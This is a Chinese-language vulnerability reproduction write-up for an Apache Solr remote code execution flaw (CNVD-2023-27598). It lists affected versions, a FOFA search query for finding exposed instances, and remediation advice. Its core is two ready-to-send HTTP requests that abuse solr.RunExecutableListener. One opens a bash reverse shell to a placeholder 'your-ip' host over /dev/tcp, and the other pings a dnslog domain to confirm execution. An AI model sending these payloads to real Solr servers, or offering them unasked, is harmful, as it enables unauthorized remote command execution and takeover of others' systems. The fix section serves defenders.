2023-08-25 16:10:08 +08:00
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# Apache Solr 代码执行漏洞 CNVD-2023-27598
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## 漏洞描述
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Solr 以 Solrcloud 模式启动且可出网时，未经身份验证的远程攻击者可以通过发送特制的数据包进行利用，最终在目标系统上远程执行任意代码。
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## 漏洞影响
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```
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8.10.0 <= Apache Solr < 9.2.0
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```
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2023-08-28 15:55:36 +08:00
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## 网络测绘
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2023-08-25 16:10:08 +08:00
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```
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app="APACHE-Solr"
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```
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## 漏洞复现
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使用postCommit来命令执行
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```
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POST /solr/demo/config HTTP/1.1
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Host: 192.168.1.92:8983
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Content-Length: 180
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Content-Type: application/json
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{"add-listener":{"event":"postCommit","name":"suiyi","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/your-ip/9999 0>&1"]}}
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```
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通过newSearcher命令执行
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```
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POST /solr/demo/config HTTP/1.1
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Host: 192.168.1.92:8983
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Content-Length: 170
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Content-Type: application/json
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{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping -c 3 your-dnslog.dnslog.cn"]}}
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```
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## 漏洞修复
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1. 如果未使用 ConfigSets API，请禁用 UPLOAD 命令，将系统属性：configset.upload.enabled 设置为 false ，详细参考：https://lucene.apache.org/solr/guide/8_6/configsets-api.html
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2. 使用身份验证/授权，详细参考：https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
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3. 官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本：
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https://github.com/apache/solr/releases/tag/releases/solr/9.2.0
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